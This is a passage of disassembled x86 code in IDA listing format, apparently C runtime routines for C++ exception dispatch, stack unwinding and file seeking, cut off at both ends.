dword ptr [esi+10h], 3 jnz loc_4227CD cmp [esi+14h], edi jnz loc_4227CD mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov ebx, eax loc_422721: ; CODE XREF: sub_422651+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4227B8 cmp [ebx], edi jg short loc_4227AD cmp edi, [ebx+4] jg short loc_4227AD mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4227AA loc_422746: ; CODE XREF: sub_422651+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_422777 loc_422758: ; CODE XREF: sub_422651+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4228A0 add esp, 0Ch test eax, eax jnz short loc_422786 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_422758 loc_422777: ; CODE XREF: sub_422651+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_422746 jmp short loc_4227AA ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_422651+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_4227AA: ; CODE XREF: sub_422651+F3j ; sub_422651+133j mov edi, [ebp+var_10] loc_4227AD: ; CODE XREF: sub_422651+DEj ; sub_422651+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422721 ; --------------------------------------------------------------------------- loc_4227B8: ; CODE XREF: sub_422651+D6j cmp [ebp+arg_14], 0 jz short loc_4227C8 push 1 push esi call sub_422D26 pop ecx pop ecx loc_4227C8: ; CODE XREF: sub_422651+56j ; sub_422651+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4227CD: ; CODE XREF: sub_422651+37j ; sub_422651+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_4227F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4227F8 add esp, 20h jmp short loc_4227C8 ; --------------------------------------------------------------------------- loc_4227F3: ; CODE XREF: sub_422651+180j jmp sub_422DFC sub_422651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227F8 proc near ; CODE XREF: sub_422651+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBE70, 0 push esi push edi jz short loc_422829 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D3AA add esp, 1Ch test eax, eax jnz short loc_42289C loc_422829: ; CODE XREF: sub_4227F8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov esi, eax loc_422845: ; CODE XREF: sub_4227F8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42289C cmp edi, [esi] jl short loc_422894 cmp edi, [esi+4] jg short loc_422894 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42286E cmp byte ptr [ecx+8], 0 jnz short loc_422894 loc_42286E: ; CODE XREF: sub_4227F8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_422894: ; CODE XREF: sub_4227F8+57j ; sub_4227F8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_422845 ; --------------------------------------------------------------------------- loc_42289C: ; CODE XREF: sub_4227F8+2Fj ; sub_4227F8+53j pop edi pop esi leave retn sub_4227F8 endp ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4228F7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4228F7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4228D1 add ecx, 8 push ecx push edx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4228F3 loc_4228D1: ; CODE XREF: sub_4228A0+1Fj test byte ptr [esi], 2 jz short loc_4228DB test byte ptr [edi], 8 jz short loc_4228F3 loc_4228DB: ; CODE XREF: sub_4228A0+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4228EA test byte ptr [edi], 1 jz short loc_4228F3 loc_4228EA: ; CODE XREF: sub_4228A0+43j test al, 2 jz short loc_4228F7 test byte ptr [edi], 2 jnz short loc_4228F7 loc_4228F3: ; CODE XREF: sub_4228A0+2Fj ; sub_4228A0+39j ... xor eax, eax jmp short loc_4228FA ; --------------------------------------------------------------------------- loc_4228F7: ; CODE XREF: sub_4228A0+Bj ; sub_4228A0+14j ... push 1 pop eax loc_4228FA: ; CODE XREF: sub_4228A0+55j pop edi pop esi retn sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228FD proc near ; CODE XREF: sub_4225B6+34p ; ___:004229F3p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42292F: ; CODE XREF: sub_4228FD+8Aj cmp esi, [ebp+arg_C] jz short loc_422989 cmp esi, 0FFFFFFFFh jle short loc_42293E cmp esi, [edi+4] jl short loc_422943 loc_42293E: ; CODE XREF: sub_4228FD+3Aj call sub_422E52 loc_422943: ; CODE XREF: sub_4228FD+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_42295E push 103h push ebx push eax call sub_422DB0 loc_42295E: ; CODE XREF: sub_4228FD+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_42297E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42299B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_42297E: ; CODE XREF: sub_4228FD+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42292F ; --------------------------------------------------------------------------- loc_422989: ; CODE XREF: sub_4228FD+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4228FD endp ; =============== S U B R O U T I N E ======================================= sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4229AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4229AC: ; CODE XREF: sub_42299B+Cj jmp sub_422DFC sub_42299B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229B1 proc near ; CODE XREF: sub_422651+151p ; sub_4227F8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4229D3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422B62 add esp, 10h loc_4229D3: ; CODE XREF: sub_4229B1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4229DF push edi jmp short loc_4229E2 ; --------------------------------------------------------------------------- loc_4229DF: ; CODE XREF: sub_4229B1+29j push [ebp+arg_24] loc_4229E2: ; CODE XREF: sub_4229B1+2Cj call sub_41D2AC sub_4229B1 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_4228FD mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_422A2C add esp, 2Ch test eax, eax jz short loc_422A27 push edi push eax call sub_41D26A loc_422A27: ; CODE XREF: ___:00422A1Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A2C proc near ; CODE XREF: ___:00422A14p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DBE68 mov [ebp+var_1C], ecx mov ecx, dword_4DBE6C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DBE68, edi mov ecx, [ebp+arg_8] mov dword_4DBE6C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D331 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422AF2 mov eax, [ebp+var_2C] loc_422AB9: ; CODE XREF: sub_422AD2+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422A2C endp ; =============== S U B R O U T I N E ======================================= sub_422AC8 proc near ; DATA XREF: ___:004278C8o push dword ptr [ebp-14h] call sub_422B38 pop ecx retn sub_422AC8 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; DATA XREF: ___:004278CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D592 pop ecx pop ecx xor eax, eax jmp short loc_422AB9 sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AEA: ; DATA XREF: ___:004278C0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DBE68, eax mov eax, [ebp-20h] mov dword_4DBE6C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422B37 cmp dword ptr [edi+10h], 3 jnz short locret_422B37 cmp dword ptr [edi+14h], 19930520h jnz short locret_422B37 cmp [ebp-24h], ebx jnz short locret_422B37 cmp [ebp-2Ch], ebx jz short locret_422B37 call sub_41D5FA push eax push edi call sub_422D26 pop ecx pop ecx locret_422B37: ; CODE XREF: sub_422AF2+1Cj ; sub_422AF2+22j ... retn sub_422AF2 endp ; =============== S U B R O U T I N E ======================================= sub_422B38 proc near ; CODE XREF: sub_422AC8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422B5F cmp dword ptr [eax+10h], 3 jnz short loc_422B5F cmp dword ptr [eax+14h], 19930520h jnz short loc_422B5F cmp dword ptr [eax+1Ch], 0 jnz short loc_422B5F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422B5F: ; CODE XREF: sub_422B38+Cj ; sub_422B38+12j ... xor eax, eax retn sub_422B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422D0B cmp byte ptr [eax+8], 0 jz loc_422D0B mov eax, [ecx+8] test eax, eax jz loc_422D0B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422BFF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422BF0: ; CODE XREF: sub_422B62+F5j push eax call sub_422D8D pop ecx pop ecx mov [edi], eax jmp loc_422D07 ; --------------------------------------------------------------------------- loc_422BFF: ; CODE XREF: sub_422B62+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422C59 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D670 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422D07 mov eax, [edi] test eax, eax jz loc_422D07 add esi, 8 push esi jmp short loc_422BF0 ; --------------------------------------------------------------------------- loc_422C59: ; CODE XREF: sub_422B62+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422CA1 call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push edi call sub_41D670 add esp, 0Ch jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CA1: ; CODE XREF: sub_422B62+103j call sub_424F80 pop ecx pop ecx test eax, eax jz short loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+18h] call sub_424FB8 pop ecx test eax, eax jz short loc_422D02 test byte ptr [esi], 4 jz short loc_422CE8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D2A5 jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CE8: ; CODE XREF: sub_422B62+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D29E jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422D02: ; CODE XREF: sub_422B62+6Aj ; sub_422B62+7Cj ... call sub_422E52 loc_422D07: ; CODE XREF: sub_422B62+98j ; sub_422B62+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422D0B: ; CODE XREF: sub_422B62+2Ej ; sub_422B62+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422B62 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D26 proc near ; CODE XREF: sub_422651+170p ; sub_422AF2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422D6D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422D6D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D29E or [ebp+var_4], 0FFFFFFFFh loc_422D6D: ; CODE XREF: sub_422D26+2Aj ; sub_422D26+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422D26 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp ; sub_422B62+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422DAE mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422DAE: ; CODE XREF: sub_422D8D+12j pop esi retn sub_422D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DB0 proc near ; CODE XREF: sub_41D331+40p ; sub_4228FD+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D61D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422DEF mov ecx, 2 loc_422DEF: ; CODE XREF: sub_422DB0+38j push ecx call sub_41D61D pop ebp pop ecx pop ebx leave retn 0Ch sub_422DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j ; sub_42299B:loc_4229ACj ... var_28 = dword ptr -28h var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBE74 test eax, eax jz short loc_422E44 mov [ebp+var_4], 1 call eax jmp short loc_422E40 ; --------------------------------------------------------------------------- loc_422E39: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E3D: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422E40: ; CODE XREF: sub_422DFC+3Bj and [ebp+var_4], 0 loc_422E44: ; CODE XREF: sub_422DFC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422E4D: ; DATA XREF: ___:004278F8o jmp loc_424FD0 sub_422DFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p ; sub_41D4D3:loc_41D53Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43D444 test eax, eax jz short loc_422E9A mov [ebp+var_4], 1 call eax ; sub_422DFC jmp short loc_422E96 ; --------------------------------------------------------------------------- loc_422E8F: ; DATA XREF: ___:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E93: ; DATA XREF: ___:0042791Co mov esp, [ebp+var_18] loc_422E96: ; CODE XREF: sub_422E52+3Bj and [ebp+var_4], 0 loc_422E9A: ; CODE XREF: sub_422E52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422EA3: ; DATA XREF: ___:00427910o jmp sub_422DFC sub_422E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p ; sub_41D9B3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DD388 push esi cmp eax, 3 jnz short loc_422ED1 mov esi, [ebp+arg_0] push esi call sub_41E717 test eax, eax pop ecx jz short loc_422ECE mov eax, [esi-4] sub eax, 9 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422ECE: ; CODE XREF: sub_422EA8+1Cj push esi jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED1: ; CODE XREF: sub_422EA8+Ej cmp eax, 2 jnz short loc_422EF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F472 add esp, 0Ch test eax, eax jz short loc_422EF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EA8+2Cj ; sub_422EA8+43j push [ebp+arg_0] loc_422EF8: ; CODE XREF: sub_422EA8+27j push 0 push dword_4DD384 nop call near ptr 2670000h loc_422F06: ; CODE XREF: sub_422EA8+24j ; sub_422EA8+4Bj pop esi leave retn sub_422EA8 endp ; =============== S U B R O U T I N E ======================================= sub_422F09 proc near ; CODE XREF: ___:0041DAF2p ; sub_41F9BC+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DD140 push esi push edi jnb short loc_422F8B mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422F8B push eax call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422F4D mov dword_4DBDDC, 9 jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F4D: ; CODE XREF: sub_422F09+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 27C0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422F6D nop call near ptr 26B0669h jmp short loc_422F6F ; --------------------------------------------------------------------------- loc_422F6D: ; CODE XREF: sub_422F09+5Aj xor eax, eax loc_422F6F: ; CODE XREF: sub_422F09+62j test eax, eax jz short loc_422F7C push eax call sub_420C7F pop ecx jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F7C: ; CODE XREF: sub_422F09+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422F9F ; --------------------------------------------------------------------------- loc_422F8B: ; CODE XREF: sub_422F09+Dj ; sub_422F09+2Aj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_422F9C: ; CODE XREF: sub_422F09+42j ; sub_422F09+71j or eax, 0FFFFFFFFh loc_422F9F: ; CODE XREF: sub_422F09+80j pop edi pop esi pop ebx retn sub_422F09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422FBF mov [edi+4], ebx loc_422FBF: ; CODE XREF: sub_422FA3+17j push 1 push ebx push esi call sub_422F09 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42302D mov edx, [edi+0Ch] test dx, 108h jnz short loc_422FE4 sub eax, [edi+4] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_422FE4: ; CODE XREF: sub_422FA3+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_42301E mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DD040[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_423035 mov edx, ecx loc_42300F: ; CODE XREF: sub_422FA3+79j cmp edx, eax jnb short loc_423035 cmp byte ptr [edx], 0Ah jnz short loc_42301B inc [ebp+var_8] loc_42301B: ; CODE XREF: sub_422FA3+73j inc edx jmp short loc_42300F ; --------------------------------------------------------------------------- loc_42301E: ; CODE XREF: sub_422FA3+50j test dl, 80h jnz short loc_423035 mov dword_4DBDDC, 16h loc_42302D: ; CODE XREF: sub_422FA3+2Dj or eax, 0FFFFFFFFh jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423035: ; CODE XREF: sub_422FA3+68j ; sub_422FA3+6Ej ... cmp [ebp+var_4], 0 jnz short loc_423043 mov eax, [ebp+var_8] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423043: ; CODE XREF: sub_422FA3+96j test byte ptr [edi+0Ch], 1 jz loc_4230EE mov edx, [edi+4] test edx, edx jnz short loc_42305C and [ebp+var_8], edx jmp loc_4230EE ; --------------------------------------------------------------------------- loc_42305C: ; CODE XREF: sub_422FA3+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4230E8 push 2 push 0 push [ebp+var_C] call sub_422F09 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4230AF mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_42309A: ; CODE XREF: sub_422FA3+104j cmp eax, ecx jnb short loc_4230A9 cmp byte ptr [eax], 0Ah jnz short loc_4230A6 inc [ebp+arg_0] loc_4230A6: ; CODE XREF: sub_422FA3+FEj inc eax jmp short loc_42309A ; --------------------------------------------------------------------------- loc_4230A9: ; CODE XREF: sub_422FA3+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_4230AF: ; CODE XREF: sub_422FA3+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422F09 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4230D6 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4230D6 test ch, 4 jz short loc_4230D9 loc_4230D6: ; CODE XREF: sub_422FA3+124j ; sub_422FA3+12Cj mov eax, [edi+18h] loc_4230D9: ; CODE XREF: sub_422FA3+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4230E3: ; CODE XREF: sub_422FA3+10Aj jz short loc_4230E8 inc [ebp+arg_0] loc_4230E8: ; CODE XREF: sub_422FA3+D9j ; sub_422FA3:loc_4230E3j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_4230EE: ; CODE XREF: sub_422FA3+A4j ; sub_422FA3+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_4230F6: ; CODE XREF: sub_422FA3+3Cj ; sub_422FA3+8Dj ... pop edi pop esi pop ebx leave retn sub_422FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p ; sub_41E42B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DD140 push esi push edi jnb loc_42328F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_42328F xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42314C loc_423145: ; CODE 